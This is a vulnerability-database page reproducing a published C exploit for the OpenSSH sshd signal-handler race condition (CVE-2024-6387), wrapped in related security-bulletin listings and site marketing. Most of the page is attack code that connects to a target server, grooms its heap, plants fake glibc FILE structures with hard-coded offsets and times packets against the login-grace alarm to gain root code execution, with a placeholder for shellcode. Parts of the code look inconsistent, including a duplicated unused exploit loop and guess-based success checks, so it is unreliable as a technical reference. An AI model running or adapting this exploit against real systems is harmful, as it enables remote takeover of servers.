Lucene search
K

📄 OpenSSH 9.8p1 Race Condition

🗓️ 22 Apr 2025 00:00:00Reported by Milad KarimiType 
packetstorm
 packetstorm
🔗 packetstorm.news👁 2259 Views

OpenSSH 9.8p1 has a race condition in signal handler allowing root remote code execution.

Related
Code
ReporterTitlePublishedViews
Family
IBM Security Bulletins
Security Bulletin: IBM Watson Speech Services Cartridge for IBM Cloud Pak for Data v4.8.5 is affected by a arbitrary code execution in OpenSSH server [CVE-2024-6387]
23 Jul 202421:10
ibm
IBM Security Bulletins
Security Bulletin: OpenSSH for IBM i is vulnerable to an attacker executing arbitrary code due to a signal handler race condition. [CVE-2024-6387]
28 Aug 202422:02
ibm
IBM Security Bulletins
Security Bulletin: IBM Data Virtualization on Cloud Pak for Data is vulnerable to OpenSSH vulnerability CVE-2024-6387
10 Aug 202403:11
ibm
IBM Security Bulletins
Security Bulletin: IBM Watson Discovery for IBM Cloud Pak for Data affected by vulnerability in OpenSSH
5 Sep 202421:46
ibm
IBM Security Bulletins
Security Bulletin: IBM watsonx Orchestrate for IBM Cloud Pak for Data affected by vulnerability in OpenSSH CVE-2024-6387
6 Aug 202419:15
ibm
IBM Security Bulletins
Security Bulletin: IBM Watson Assistant for IBM Cloud Pak for Data is vulnerable to OpenSSH arbitrary code execution vulnerability [CVE-2024-6387]
21 Aug 202414:47
ibm
IBM Security Bulletins
Security Bulletin: Vulnerabilities in OpenSSH and OpenSSL affect IBM SAN Volume Controller, IBM Storwize, IBM Spectrum Virtualize and IBM FlashSystem products
15 Apr 202503:54
ibm
IBM Security Bulletins
Security Bulletin: AIX is vulnerable to arbitrary code execution (CVE-2024-6387) due to OpenSSH
9 Jul 202422:03
ibm
IBM Security Bulletins
Security Bulletin: QRadar Suite Software includes components with multiple known vulnerabilities
4 Feb 202518:06
ibm
IBM Security Bulletins
Security Bulletin: IBM Watson CP4D Data Stores is vulnerable to OpenSSH arbitrary code execution vulnerability (CVE-2024-6387)
28 Jan 202522:08
ibm
Rows per page
* Exploit Title : OpenSSH server (sshd) 9.8p1 - Race Condition 
     * Author : Milad Karimi (Ex3ptionaL)
     * Date : 2025-04-16
     *
     * Description:
     * Targets a signal handler race condition in OpenSSH's
     * server (sshd) on glibc-based Linux systems. It exploits a vulnerability
     * where the SIGALRM handler calls async-signal-unsafe functions, leading
     * to rce as root.
     *
     * Notes:
     * 1. Shellcode : Replace placeholder with actual payload.
     * 2. GLIBC_BASES : Needs adjustment for specific target systems.
     * 3. Timing parameters: Fine-tune based on target system responsiveness.
     * 4. Heap layout : Requires tweaking for different OpenSSH versions.
     * 5. File structure offsets: Verify for the specific glibc version.
     * -------------------------------------------------------------------------
     */
    
    #include <stdlib.h>
    #include <unistd.h>
    #include <time.h>
    #include <string.h>
    #include <errno.h>
    #include <fcntl.h>
    #include <stdint.h>
    #include <stdio.h>
    #include <sys/socket.h>
    #include <netinet/in.h>
    #include <arpa/inet.h>
    #include <time.h>
    
    #define MAX_PACKET_SIZE (256 * 1024)
    #define LOGIN_GRACE_TIME 120
    #define MAX_STARTUPS 100
    #define CHUNK_ALIGN(s) (((s) + 15) & ~15)
    
    // Possible glibc base addresses (for ASLR bypass)
    uint64_t GLIBC_BASES[] = { 0xb7200000, 0xb7400000 };
    int NUM_GLIBC_BASES = sizeof (GLIBC_BASES) / sizeof (GLIBC_BASES[0]);
    
    // Shellcode placeholder (replace with actual shellcode)
    unsigned char shellcode[] = "\x90\x90\x90\x90";
    
    int setup_connection (const char *ip, int port);
    void send_packet (int sock, unsigned char packet_type,
                      const unsigned char *data, size_t len);
    void prepare_heap (int sock);
    void time_final_packet (int sock, double *parsing_time);
    int attempt_race_condition (int sock, double parsing_time,
                                uint64_t glibc_base);
    double measure_response_time (int sock, int error_type);
    void create_public_key_packet (unsigned char *packet, size_t size,
                                   uint64_t glibc_base);
    void create_fake_file_structure (unsigned char *data, size_t size,
                                     uint64_t glibc_base);
    void send_ssh_version (int sock);
    int receive_ssh_version (int sock);
    void send_kex_init (int sock);
    int receive_kex_init (int sock);
    int perform_ssh_handshake (int sock);
    
    int
    main (int argc, char *argv[])
    {
      if (argc != 3)
        {
          fprintf (stderr, "Usage: %s <ip> <port>\n", argv[0]);
          exit (1);
        }
    
      const char *ip = argv[1];
      int port = atoi (argv[2]);
      double parsing_time = 0;
      int success = 0;
    
      srand (time (NULL));
    
      // Attempt exploitation for each possible glibc base address
      for (int base_idx = 0; base_idx < NUM_GLIBC_BASES && !success; base_idx++)
        {
          uint64_t glibc_base = GLIBC_BASES[base_idx];
          printf ("Attempting exploitation with glibc base: 0x%lx\n",
    glibc_base);
    
          // The advisory mentions "~10,000 tries on average"
          for (int attempt = 0; attempt < 20000 && !success; attempt++)
            {
              if (attempt % 1000 == 0)
                {
                  printf ("Attempt %d of 20000\n", attempt);
                }
    
              int sock = setup_connection (ip, port);
              if (sock < 0)
                {
                  fprintf (stderr, "Failed to establish connection, attempt
    %d\n",
                           attempt);
                  continue;
                }
    
              if (perform_ssh_handshake (sock) < 0)
                {
                  fprintf (stderr, "SSH handshake failed, attempt %d\n",
    attempt);
                  close (sock);
                  continue;
                }
    
              prepare_heap (sock);
              time_final_packet (sock, &parsing_time);
    
              if (attempt_race_condition (sock, parsing_time, glibc_base))
                {
                  printf ("Possible exploitation success on attempt %d with
    glibc "
                          "base 0x%lx!\n",
                          attempt, glibc_base);
                  success = 1;
                  break;
                }
    
              close (sock);
              usleep (100000); // 100ms delay between attempts, as mentioned in
    the
                               // advisory
            }
        }
    
      return !success;
    }
    
    int
    setup_connection (const char *ip, int port)
    {
      int sock = socket (AF_INET, SOCK_STREAM, 0);
      if (sock < 0)
        {
          perror ("socket");
          return -1;
        }
    
      struct sockaddr_in server_addr;
      memset (&server_addr, 0, sizeof (server_addr));
      server_addr.sin_family = AF_INET;
      server_addr.sin_port = htons (port);
      if (inet_pton (AF_INET, ip, &server_addr.sin_addr) <= 0)
        {
          perror ("inet_pton");
          close (sock);
          return -1;
        }
    
      if (connect (sock, (struct sockaddr *)&server_addr, sizeof (server_addr))
          < 0)
        {
          perror ("connect");
          close (sock);
          return -1;
        }
    
      // Set socket to non-blocking mode
      int flags = fcntl (sock, F_GETFL, 0);
      fcntl (sock, F_SETFL, flags | O_NONBLOCK);
    
      return sock;
    }
    
    void
    send_packet (int sock, unsigned char packet_type, const unsigned char *data,
                 size_t len)
    {
      unsigned char packet[MAX_PACKET_SIZE];
      size_t packet_len = len + 5;
    
      packet[0] = (packet_len >> 24) & 0xFF;
      packet[1] = (packet_len >> 16) & 0xFF;
      packet[2] = (packet_len >> 8) & 0xFF;
      packet[3] = packet_len & 0xFF;
      packet[4] = packet_type;
    
      memcpy (packet + 5, data, len);
    
      if (send (sock, packet, packet_len, 0) < 0)
        {
          perror ("send_packet");
        }
    }
    
    void
    send_ssh_version (int sock)
    {
      const char *ssh_version = "SSH-2.0-OpenSSH_8.9p1 Ubuntu-3ubuntu0.1\r\n";
      if (send (sock, ssh_version, strlen (ssh_version), 0) < 0)
        {
          perror ("send ssh version");
        }
    }
    
    int
    receive_ssh_version (int sock)
    {
      char buffer[256];
      ssize_t received;
      do
        {
          received = recv (sock, buffer, sizeof (buffer) - 1, 0);
        }
      while (received < 0 && (errno == EWOULDBLOCK || errno == EAGAIN));
    
      if (received > 0)
        {
          buffer[received] = '\0';
          printf ("Received SSH version: %s", buffer);
          return 0;
        }
      else if (received == 0)
        {
          fprintf (stderr, "Connection closed while receiving SSH version\n");
        }
      else
        {
          perror ("receive ssh version");
        }
      return -1;
    }
    
    void
    send_kex_init (int sock)
    {
      unsigned char kexinit_payload[36] = { 0 };
      send_packet (sock, 20, kexinit_payload, sizeof (kexinit_payload));
    }
    
    int
    receive_kex_init (int sock)
    {
      unsigned char buffer[1024];
      ssize_t received;
      do
        {
          received = recv (sock, buffer, sizeof (buffer), 0);
        }
      while (received < 0 && (errno == EWOULDBLOCK || errno == EAGAIN));
    
      if (received > 0)
        {
          printf ("Received KEX_INIT (%zd bytes)\n", received);
          return 0;
        }
      else if (received == 0)
        {
          fprintf (stderr, "Connection closed while receiving KEX_INIT\n");
        }
      else
        {
          perror ("receive kex init");
        }
      return -1;
    }
    
    int
    perform_ssh_handshake (int sock)
    {
      send_ssh_version (sock);
      if (receive_ssh_version (sock) < 0)
        return -1;
      send_kex_init (sock);
      if (receive_kex_init (sock) < 0)
        return -1;
      return 0;
    }
    
    void
    prepare_heap (int sock)
    {
      // Packet a: Allocate and free tcache chunks
      for (int i = 0; i < 10; i++)
        {
          unsigned char tcache_chunk[64];
          memset (tcache_chunk, 'A', sizeof (tcache_chunk));
          send_packet (sock, 5, tcache_chunk, sizeof (tcache_chunk));
          // These will be freed by the server, populating tcache
        }
    
      // Packet b: Create 27 pairs of large (~8KB) and small (320B) holes
      for (int i = 0; i < 27; i++)
        {
          // Allocate large chunk (~8KB)
          unsigned char large_hole[8192];
          memset (large_hole, 'B', sizeof (large_hole));
          send_packet (sock, 5, large_hole, sizeof (large_hole));
    
          // Allocate small chunk (320B)
          unsigned char small_hole[320];
          memset (small_hole, 'C', sizeof (small_hole));
          send_packet (sock, 5, small_hole, sizeof (small_hole));
        }
    
      // Packet c: Write fake headers, footers, vtable and _codecvt pointers
      for (int i = 0; i < 27; i++)
        {
          unsigned char fake_data[4096];
          create_fake_file_structure (fake_data, sizeof (fake_data),
                                      GLIBC_BASES[0]);
          send_packet (sock, 5, fake_data, sizeof (fake_data));
        }
    
      // Packet d: Ensure holes are in correct malloc bins (send ~256KB string)
      unsigned char large_string[MAX_PACKET_SIZE - 1];
      memset (large_string, 'E', sizeof (large_string));
      send_packet (sock, 5, large_string, sizeof (large_string));
    }
    
    void
    create_fake_file_structure (unsigned char *data, size_t size,
                                uint64_t glibc_base)
    {
      memset (data, 0, size);
    
      struct
      {
        void *_IO_read_ptr;
        void *_IO_read_end;
        void *_IO_read_base;
        void *_IO_write_base;
        void *_IO_write_ptr;
        void *_IO_write_end;
        void *_IO_buf_base;
        void *_IO_buf_end;
        void *_IO_save_base;
        void *_IO_backup_base;
        void *_IO_save_end;
        void *_markers;
        void *_chain;
        int _fileno;
        int _flags;
        int _mode;
        char _unused2[40];
        void *_vtable_offset;
      } *fake_file = (void *)data;
    
      // Set _vtable_offset to 0x61 as described in the advisory
      fake_file->_vtable_offset = (void *)0x61;
    
      // Set up fake vtable and _codecvt pointers
      *(uint64_t *)(data + size - 16)
          = glibc_base + 0x21b740; // fake vtable (_IO_wfile_jumps)
      *(uint64_t *)(data + size - 8) = glibc_base + 0x21d7f8; // fake _codecvt
    }
    
    void
    time_final_packet (int sock, double *parsing_time)
    {
      double time_before = measure_response_time (sock, 1);
      double time_after = measure_response_time (sock, 2);
      *parsing_time = time_after - time_before;
    
      printf ("Estimated parsing time: %.6f seconds\n", *parsing_time);
    }
    
    double
    measure_response_time (int sock, int error_type)
    {
      unsigned char error_packet[1024];
      size_t packet_size;
    
      if (error_type == 1)
        {
          // Error before sshkey_from_blob
          packet_size = snprintf ((char *)error_packet, sizeof (error_packet),
                                  "ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC3");
        }
      else
        {
          // Error after sshkey_from_blob
          packet_size = snprintf ((char *)error_packet, sizeof (error_packet),
                                  "ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAAAQQDZy9");
        }
    
      struct timespec start, end;
      clock_gettime (CLOCK_MONOTONIC, &start);
    
      send_packet (sock, 50, error_packet,
                   packet_size); // SSH_MSG_USERAUTH_REQUEST
    
      char response[1024];
      ssize_t received;
      do
        {
          received = recv (sock, response, sizeof (response), 0);
        }
      while (received < 0 && (errno == EWOULDBLOCK || errno == EAGAIN));
    
      clock_gettime (CLOCK_MONOTONIC, &end);
    
      double elapsed
          = (end.tv_sec - start.tv_sec) + (end.tv_nsec - start.tv_nsec) / 1e9;
      return elapsed;
    }
    
    void
    create_public_key_packet (unsigned char *packet, size_t size,
                              uint64_t glibc_base)
    {
      memset (packet, 0, size);
    
      size_t offset = 0;
      for (int i = 0; i < 27; i++)
        {
          // malloc(~4KB) - This is for the large hole
          *(uint32_t *)(packet + offset) = CHUNK_ALIGN (4096);
          offset += CHUNK_ALIGN (4096);
    
          // malloc(304) - This is for the small hole (potential FILE structure)
          *(uint32_t *)(packet + offset) = CHUNK_ALIGN (304);
          offset += CHUNK_ALIGN (304);
        }
    
      // Add necessary headers for the SSH public key format
      memcpy (packet, "ssh-rsa ", 8);
    
      // Place shellcode in the heap via previous allocations
      memcpy (packet + CHUNK_ALIGN (4096) * 13 + CHUNK_ALIGN (304) * 13,
    shellcode,
              sizeof (shellcode));
    
      // Set up the fake FILE structures within the packet
      for (int i = 0; i < 27; i++)
        {
          create_fake_file_structure (packet + CHUNK_ALIGN (4096) * (i + 1)
                                          + CHUNK_ALIGN (304) * i,
                                      CHUNK_ALIGN (304), glibc_base);
        }
    }
    
    int
    attempt_race_condition (int sock, double parsing_time, uint64_t glibc_base)
    {
      unsigned char final_packet[MAX_PACKET_SIZE];
      create_public_key_packet (final_packet, sizeof (final_packet),
    glibc_base);
    
      // Send all but the last byte
      if (send (sock, final_packet, sizeof (final_packet) - 1, 0) < 0)
        {
          perror ("send final packet");
          return 0;
        }
    
      // Precise timing for last byte
      struct timespec start, current;
      clock_gettime (CLOCK_MONOTONIC, &start);
    
      while (1)
        {
          clock_gettime (CLOCK_MONOTONIC, &current);
          double elapsed = (current.tv_sec - start.tv_sec)
                           + (current.tv_nsec - start.tv_nsec) / 1e9;
          if (elapsed >= (LOGIN_GRACE_TIME - parsing_time - 0.001))
            { // 1ms before SIGALRM
              if (send (sock, &final_packet[sizeof (final_packet) - 1], 1, 0) <
    0)
                {
                  perror ("send last byte");
                  return 0;
                }
              break;
            }
        }
    
      // Check for successful exploitation
      char response[1024];
      ssize_t received = recv (sock, response, sizeof (response), 0);
      if (received > 0)
        {
          printf ("Received response after exploit attempt (%zd bytes)\n",
                  received);
          // Analyze response to determine if we hit the "large" race window
          if (memcmp (response, "SSH-2.0-", 8) != 0)
            {
              printf ("Possible hit on 'large' race window\n");
              return 1;
            }
        }
      else if (received == 0)
        {
          printf (
              "Connection closed by server - possible successful
    exploitation\n");
          return 1;
        }
      else if (errno == EWOULDBLOCK || errno == EAGAIN)
        {
          printf ("No immediate response from server - possible successful "
                  "exploitation\n");
          return 1;
        }
      else
        {
          perror ("recv");
        }
      return 0;
    }
    
    int
    perform_exploit (const char *ip, int port)
    {
      int success = 0;
      double parsing_time = 0;
      double timing_adjustment = 0;
    
      for (int base_idx = 0; base_idx < NUM_GLIBC_BASES && !success; base_idx++)
        {
          uint64_t glibc_base = GLIBC_BASES[base_idx];
          printf ("Attempting exploitation with glibc base: 0x%lx\n",
    glibc_base);
    
          for (int attempt = 0; attempt < 10000 && !success; attempt++)
            {
              if (attempt % 1000 == 0)
                {
                  printf ("Attempt %d of 10000\n", attempt);
                }
    
              int sock = setup_connection (ip, port);
              if (sock < 0)
                {
                  fprintf (stderr, "Failed to establish connection, attempt
    %d\n",
                           attempt);
                  continue;
                }
    
              if (perform_ssh_handshake (sock) < 0)
                {
                  fprintf (stderr, "SSH handshake failed, attempt %d\n",
    attempt);
                  close (sock);
                  continue;
                }
    
              prepare_heap (sock);
              time_final_packet (sock, &parsing_time);
    
              // Implement feedback-based timing strategy
              parsing_time += timing_adjustment;
    
              if (attempt_race_condition (sock, parsing_time, glibc_base))
                {
                  printf ("Possible exploitation success on attempt %d with
    glibc "
                          "base 0x%lx!\n",
                          attempt, glibc_base);
                  success = 1;
                  // In a real exploit, we would now attempt to interact with
    the
                  // shell
                }
              else
                {
                  // Adjust timing based on feedback
                  timing_adjustment += 0.00001; // Small incremental adjustment
                }
    
              close (sock);
              usleep (100000); // 100ms delay between attempts, as mentioned in
    the
                               // advisory
            }
        }
    
      return success;
    }

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

22 Apr 2025 00:00Current
8High risk
Vulners AI Score8
CVSS 3.18.1
EPSS0.58898
SSVC
2259